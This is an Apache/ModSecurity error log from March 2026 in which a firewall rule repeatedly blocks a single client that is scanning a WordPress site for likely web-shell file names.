[Tue Mar 24 19:29:41.482123 2026] [:error] [pid 3031:tid 3100] [client 52.138.146.177:41335] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "acJ1paJBKytnG47nuiYzkgAAAFg"]
[Tue Mar 24 19:29:44.892267 2026] [:error] [pid 3031:tid 3092] [client 52.138.146.177:36579] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "acJ1qKJBKytnG47nuiYzmwAAAFA"]
[Tue Mar 24 19:29:45.490557 2026] [:error] [pid 38767:tid 38789] [client 52.138.146.177:25356] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "acJ1qfwkUqN4GJAI5oUbpwAAARM"]
[Tue Mar 24 19:29:46.234534 2026] [:error] [pid 3031:tid 3089] [client 52.138.146.177:8856] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "acJ1qqJBKytnG47nuiYzngAAAE0"]
[Tue Mar 24 19:29:47.320558 2026] [:error] [pid 38767:tid 38770] [client 52.138.146.177:14524] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "acJ1q_wkUqN4GJAI5oUbqgAAAQA"]
[Tue Mar 24 19:29:48.118142 2026] [:error] [pid 3030:tid 3049] [client 52.138.146.177:24980] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "acJ1rAyOuILyynfcqflYzAAAAAA"]
[Tue Mar 24 19:29:48.729323 2026] [:error] [pid 48219:tid 48291] [client 52.138.146.177:49558] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "acJ1rChf3b4R_lAIyv91JwAAAgo"]
[Tue Mar 24 19:30:05.653452 2026] [:error] [pid 64198:tid 64222] [client 52.138.146.177:7503] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "acJ1vXVzJqf6OS_oSZ2jYQAAAVY"]
[Tue Mar 24 19:30:06.494380 2026] [:error] [pid 64198:tid 64219] [client 52.138.146.177:30075] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "acJ1vnVzJqf6OS_oSZ2jZgAAAVM"]
[Tue Mar 24 19:30:07.433680 2026] [:error] [pid 38767:tid 38793] [client 52.138.146.177:27504] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "acJ1v_wkUqN4GJAI5oUb0wAAARc"]
[Tue Mar 24 19:30:08.987980 2026] [:error] [pid 3137:tid 3159] [client 52.138.146.177:46879] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaa.php"] [unique_id "acJ1wJdZesutm6dfYM8hfQAAANQ"]
[Tue Mar 24 19:30:10.414172 2026] [:error] [pid 3137:tid 3163] [client 52.138.146.177:17641] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "acJ1wpdZesutm6dfYM8hhwAAANg"]
[Tue Mar 24 19:30:11.873137 2026] [:error] [pid 3137:tid 3161] [client 52.138.146.177:7544] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "acJ1w5dZesutm6dfYM8hmgAAANY"]
[Tue Mar 24 19:30:12.821531 2026] [:error] [pid 3137:tid 3147] [client 52.138.146.177:25030] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "acJ1xJdZesutm6dfYM8hoQAAAMg"]
[Tue Mar 24 19:30:14.682249 2026] [proxy_fcgi:error] [pid 64198:tid 64202] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:15.246521 2026] [proxy_fcgi:error] [pid 64198:tid 64208] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:15.594373 2026] [proxy_fcgi:error] [pid 64198:tid 64214] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:15.937075 2026] [proxy_fcgi:error] [pid 64198:tid 64217] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:16.212321 2026] [proxy_fcgi:error] [pid 64198:tid 64224] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:16.546949 2026] [proxy_fcgi:error] [pid 64198:tid 64200] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:16.905940 2026] [proxy_fcgi:error] [pid 64198:tid 64212] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:17.458699 2026] [proxy_fcgi:error] [pid 64198:tid 64219] [client 52.138.146.177:9956] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:30:18.227149 2026] [:error] [pid 64198:tid 64221] [client 52.138.146.177:9956] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "acJ1ynVzJqf6OS_oSZ2jiQAAAVU"]
[Tue Mar 24 19:30:19.658760 2026] [:error] [pid 48214:tid 48274] [client 52.138.146.177:21004] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "acJ1y7eshLWZ3uUDHKllugAAAdY"]
[Tue Mar 24 19:30:20.494395 2026] [:error] [pid 48128:tid 48167] [client 52.138.146.177:7751] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "acJ1zMvR4LIMFLbM5Vk0VwAAAY8"]
[Tue Mar 24 19:30:21.791956 2026] [:error] [pid 3030:tid 3055] [client 52.138.146.177:1069] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "acJ1zQyOuILyynfcqflY3gAAAAY"]
[Tue Mar 24 19:30:22.788647 2026] [:error] [pid 38767:tid 38773] [client 52.138.146.177:17655] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "acJ1zvwkUqN4GJAI5oUb-QAAAQM"]
[Tue Mar 24 19:31:30.021349 2026] [proxy_fcgi:error] [pid 48219:tid 48304] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:30.480978 2026] [proxy_fcgi:error] [pid 48219:tid 48301] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:30.799185 2026] [proxy_fcgi:error] [pid 48219:tid 48298] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:31.197014 2026] [proxy_fcgi:error] [pid 48219:tid 48297] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:31.587918 2026] [proxy_fcgi:error] [pid 48219:tid 48290] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:31.856258 2026] [proxy_fcgi:error] [pid 48219:tid 48293] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:32.432338 2026] [proxy_fcgi:error] [pid 48219:tid 48294] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:32.830718 2026] [proxy_fcgi:error] [pid 48219:tid 48291] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:33.187762 2026] [proxy_fcgi:error] [pid 48219:tid 48304] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:33.501857 2026] [proxy_fcgi:error] [pid 48219:tid 48282] [client 52.138.146.177:20254] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:31:34.351897 2026] [:error] [pid 48219:tid 48287] [client 52.138.146.177:20254] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "acJ2Fihf3b4R_lAIyv91rgAAAgY"]
[Tue Mar 24 19:31:35.297273 2026] [:error] [pid 3032:tid 3120] [client 52.138.146.177:46317] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "acJ2Fya_-JXXD03-JNxPRgAAAJE"]
[Tue Mar 24 19:31:36.026822 2026] [:error] [pid 64198:tid 64203] [client 52.138.146.177:33684] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "acJ2GHVzJqf6OS_oSZ2kAwAAAUM"]
[Tue Mar 24 19:31:37.165466 2026] [:error] [pid 64198:tid 64219] [client 52.138.146.177:25451] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "acJ2GXVzJqf6OS_oSZ2kBAAAAVM"]
[Tue Mar 24 19:31:38.449813 2026] [:error] [pid 38767:tid 38779] [client 52.138.146.177:33701] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acJ2GvwkUqN4GJAI5oUcfQAAAQk"]
[Tue Mar 24 19:31:39.662541 2026] [:error] [pid 64198:tid 64222] [client 52.138.146.177:13227] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acJ2G3VzJqf6OS_oSZ2kDgAAAVY"]
[Tue Mar 24 19:31:40.970149 2026] [:error] [pid 3137:tid 3149] [client 52.138.146.177:1504] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acJ2HJdZesutm6dfYM8iGwAAAMo"]
[Tue Mar 24 19:31:42.004083 2026] [:error] [pid 38767:tid 38776] [client 52.138.146.177:57100] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acJ2HvwkUqN4GJAI5oUcggAAAQY"]
[Tue Mar 24 19:31:42.975657 2026] [:error] [pid 38767:tid 38774] [client 52.138.146.177:57113] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acJ2HvwkUqN4GJAI5oUchwAAAQQ"]
[Tue Mar 24 19:31:44.475433 2026] [:error] [pid 48219:tid 48287] [client 52.138.146.177:12795] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acJ2IChf3b4R_lAIyv91ugAAAgY"]
[Tue Mar 24 19:31:45.252842 2026] [:error] [pid 64198:tid 64220] [client 52.138.146.177:7262] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acJ2IXVzJqf6OS_oSZ2kHgAAAVQ"]
[Tue Mar 24 19:31:46.590958 2026] [:error] [pid 64198:tid 64203] [client 52.138.146.177:30467] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "acJ2InVzJqf6OS_oSZ2kIwAAAUM"]
[Tue Mar 24 19:31:47.545776 2026] [:error] [pid 48128:tid 48170] [client 52.138.146.177:11949] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "acJ2I8vR4LIMFLbM5Vk0cwAAAZE"]
[Tue Mar 24 19:31:49.033773 2026] [:error] [pid 3137:tid 3147] [client 52.138.146.177:57105] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "acJ2JZdZesutm6dfYM8iJAAAAMg"]
[Tue Mar 24 19:31:49.953954 2026] [:error] [pid 3137:tid 3142] [client 52.138.146.177:7647] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "acJ2JZdZesutm6dfYM8iJgAAAMM"]
[Tue Mar 24 19:31:51.233082 2026] [:error] [pid 38767:tid 38781] [client 52.138.146.177:30526] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "acJ2J_wkUqN4GJAI5oUcjQAAAQs"]
[Tue Mar 24 19:31:52.135112 2026] [:error] [pid 64198:tid 64211] [client 52.138.146.177:11660] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acJ2KHVzJqf6OS_oSZ2kKwAAAUs"]
[Tue Mar 24 19:31:53.763883 2026] [:error] [pid 3137:tid 3147] [client 52.138.146.177:1903] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acJ2KZdZesutm6dfYM8iMQAAAMg"]
[Tue Mar 24 19:31:54.582650 2026] [:error] [pid 3137:tid 3143] [client 52.138.146.177:11695] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acJ2KpdZesutm6dfYM8iMgAAAMQ"]
[Tue Mar 24 19:31:55.726020 2026] [:error] [pid 48219:tid 48281] [client 52.138.146.177:24275] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "acJ2Kyhf3b4R_lAIyv91xgAAAgA"]
[Tue Mar 24 19:31:56.653187 2026] [:error] [pid 48219:tid 48283] [client 52.138.146.177:7651] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acJ2LChf3b4R_lAIyv91yQAAAgI"]
[Tue Mar 24 19:31:57.733794 2026] [:error] [pid 3032:tid 3118] [client 52.138.146.177:57149] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acJ2LSa_-JXXD03-JNxPVQAAAI8"]
[Tue Mar 24 19:31:59.036707 2026] [:error] [pid 3032:tid 3124] [client 52.138.146.177:23859] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acJ2Lya_-JXXD03-JNxPVgAAAJU"]
[Tue Mar 24 19:31:59.923223 2026] [:error] [pid 38767:tid 38782] [client 52.138.146.177:46915] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acJ2L_wkUqN4GJAI5oUcoAAAAQw"]
[Tue Mar 24 19:32:00.976876 2026] [:error] [pid 64198:tid 64200] [client 52.138.146.177:46291] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "acJ2MHVzJqf6OS_oSZ2kLwAAAUA"]
[Tue Mar 24 19:32:01.894217 2026] [:error] [pid 48219:tid 48290] [client 52.138.146.177:23846] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "acJ2MShf3b4R_lAIyv910AAAAgk"]
[Tue Mar 24 19:32:02.598729 2026] [:error] [pid 48219:tid 48304] [client 52.138.146.177:57090] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "acJ2Mihf3b4R_lAIyv910gAAAhc"]
[Tue Mar 24 19:32:03.410908 2026] [:error] [pid 48219:tid 48282] [client 52.138.146.177:23862] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "acJ2Myhf3b4R_lAIyv911wAAAgE"]
[Tue Mar 24 19:32:04.024246 2026] [:error] [pid 38767:tid 38778] [client 52.138.146.177:41819] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acJ2NPwkUqN4GJAI5oUcqQAAAQg"]
[Tue Mar 24 19:32:04.818122 2026] [:error] [pid 38767:tid 38780] [client 52.138.146.177:11648] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acJ2NPwkUqN4GJAI5oUcqwAAAQo"]
[Tue Mar 24 19:32:05.725330 2026] [:error] [pid 64198:tid 64203] [client 52.138.146.177:17592] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "acJ2NXVzJqf6OS_oSZ2kOgAAAUM"]
